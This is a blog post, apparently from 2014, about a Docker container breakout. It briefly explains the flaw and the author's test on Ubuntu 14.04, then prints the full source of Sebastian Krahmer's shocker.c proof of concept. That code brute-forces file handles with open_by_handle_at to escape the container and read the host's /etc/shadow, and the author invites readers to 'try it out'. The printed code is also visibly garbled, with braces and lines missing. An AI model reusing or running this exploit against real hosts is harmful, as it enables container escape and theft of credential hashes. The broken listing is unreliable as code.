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Docker Break-Out Exploit


Docker Exploit

On Wednesday a pretty shocking bit of news came out of the Docker camp revealing the ability to gain access to the host machine using an exploit called the “Docker container breakout.”  The exploit was written by Sebastian Krahmer and was posted to the Exploit Database​ on June 18th.  Kudos to Sebastian for making the community aware of this exploit.  Docker is a great tool, I would hate to see it suffer any unwanted set-backs.  The exploit works because the container uses a reference to the host file system that enables the container to run commands and execute files on the host system.  Using brute force techniques from the container, the host file system is walked starting from your root directory until the desired file is found.  Every file and directory is printed out in the terminal giving the attacker a complete overview of how your environment is setup from the very top down.

To prove that this exploit worked, I logged onto RackSpace and fired up a Ubuntu 14.04 server, installed Docker, and tried it out for myself. By default, Ubuntu 14.04 comes loaded with Docker version 0.9.1, build 3600720, which the exploit will work on.  I did not try running the exploit on a later version of Docker.  

Docker Exploit Screenshot 1

I am skipping the other 3 pages of screen shots as the exploit prints every last file and directory out in the terminal.

Docker Exploit Screenshot 2

Below is the code for the shocker.c exploit.  Try it out and make sure your installation is safe!

/* shocker: docker PoC VMM-container breakout (C) 2014 Sebastian Krahmer
 * Demonstrates that any given docker image someone is asking
 * you to run in your docker setup can access ANY file on your host,
 * e.g. dumping hosts /etc/shadow or other sensitive info, compromising
 * security of the host and any other docker VM's on it.
 * docker using container based VMM: Sebarate pid and net namespace,
 * stripped caps and RO bind mounts into container's /. However
 * as its only a bind-mount the fs struct from the task is shared
 * with the host which allows to open files by file handles
 * (open_by_handle_at()). As we thankfully have dac_override and
 * dac_read_search we can do this. The handle is usually a 64bit
 * string with 32bit inodenumber inside (tested with ext4).
 * Inode of / is always 2, so we have a starting point to walk
 * the FS path and brute force the remaining 32bit until we find the
 * desired file (It's probably easier, depending on the fhandle export
 * function used for the FS in question: it could be a parent inode# or
 * the inode generation which can be obtained via an ioctl).
 * [In practise the remaining 32bit are all 0 :]
 * tested with docker 0.11 busybox demo image on a 3.11 kernel:
 * docker run -i busybox sh
 * seems to run any program inside VMM with UID 0 (some caps stripped); if
 * user argument is given, the provided docker image still
 * could contain +s binaries, just as demo busybox image does.
 * PS: You should also seccomp kexec() syscall :)
 * PPS: Might affect other container based compartments too
 * $ cc -Wall -std=c99 -O2 shocker.c -static
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
struct my_file_handle {
	unsigned int handle_bytes;
	int handle_type;
	unsigned char f_handle[8];
void die(const char *msg)
void dump_handle(const struct my_file_handle *h)
	fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
	for (int i = 0; i < h->handle_bytes; ++i) {
		fprintf(stderr,"0x%02x", h->f_handle[i]);
		if ((i + 1) % 20 == 0)
		if (i < h->handle_bytes - 1)
			fprintf(stderr,", ");
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
	int fd;
	uint32_t ino = 0;
	struct my_file_handle outh = {
		.handle_bytes = 8,
		.handle_type = 1
	DIR *dir = NULL;
	struct dirent *de = NULL;
	path = strchr(path, '/');
	// recursion stops if path has been resolved
	if (!path) {
		memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
		oh->handle_type = 1;
		oh->handle_bytes = 8;
		return 1;
	fprintf(stderr, "[*] Resolving '%s'\n", path);
	if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
		die("[-] open_by_handle_at");
	if ((dir = fdopendir(fd)) == NULL)
		die("[-] fdopendir");
	for (;;) {
		de = readdir(dir);
		if (!de)
		fprintf(stderr, "[*] Found %s\n", de->d_name);
		if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
			fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
			ino = de->d_ino;
	fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
	if (de) {
		for (uint32_t i = 0; i < 0xffffffff; ++i) {
			outh.handle_bytes = 8;
			outh.handle_type = 1;
			memcpy(outh.f_handle, &ino, sizeof(ino));
			memcpy(outh.f_handle + 4, &i, sizeof(i));
			if ((i % (1<<20)) == 0)
				fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
			if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
				return find_handle(bfd, path, &outh, oh);
	return 0;
int main()
	char buf[0x1000];
	int fd1, fd2;
	struct my_file_handle h;
	struct my_file_handle root_h = {
		.handle_bytes = 8,
		.handle_type = 1,
		.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
	fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014             [***]\n"
	       "[***] The tea from the 90's kicks your sekurity again.     [***]\n"
	       "[***] If you have pending sec consulting, I'll happily     [***]\n"
	       "[***] forward to my friends who drink secury-tea too!      [***]\n\n<enter>\n");
	read(0, buf, 1);
	// get a FS reference from something mounted in from outside
	if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
		die("[-] open");
	if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
		die("[-] Cannot find valid handle!");
	fprintf(stderr, "[!] Got a final handle!\n");
	if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
		die("[-] open_by_handle");
	memset(buf, 0, sizeof(buf));
	if (read(fd2, buf, sizeof(buf) - 1) < 0)
		die("[-] read");
	fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf);
	close(fd2); close(fd1);
	return 0;

Member for

3 years 9 months
Matt Eaton

Long time mobile team lead with a love for network engineering, security, IoT, oss, writing, wireless, and mobile.  Avid runner and determined health nut living in the greater Chicagoland area.



Wed, 11/26/2014 - 04:52 PM

Having read this I believed it was extremely enlightening. I appreciate you finding the time and effort to put this information together. I once again find myself personally spending a significant amount of time both reading and leaving comments. But so what, it was still worthwhile!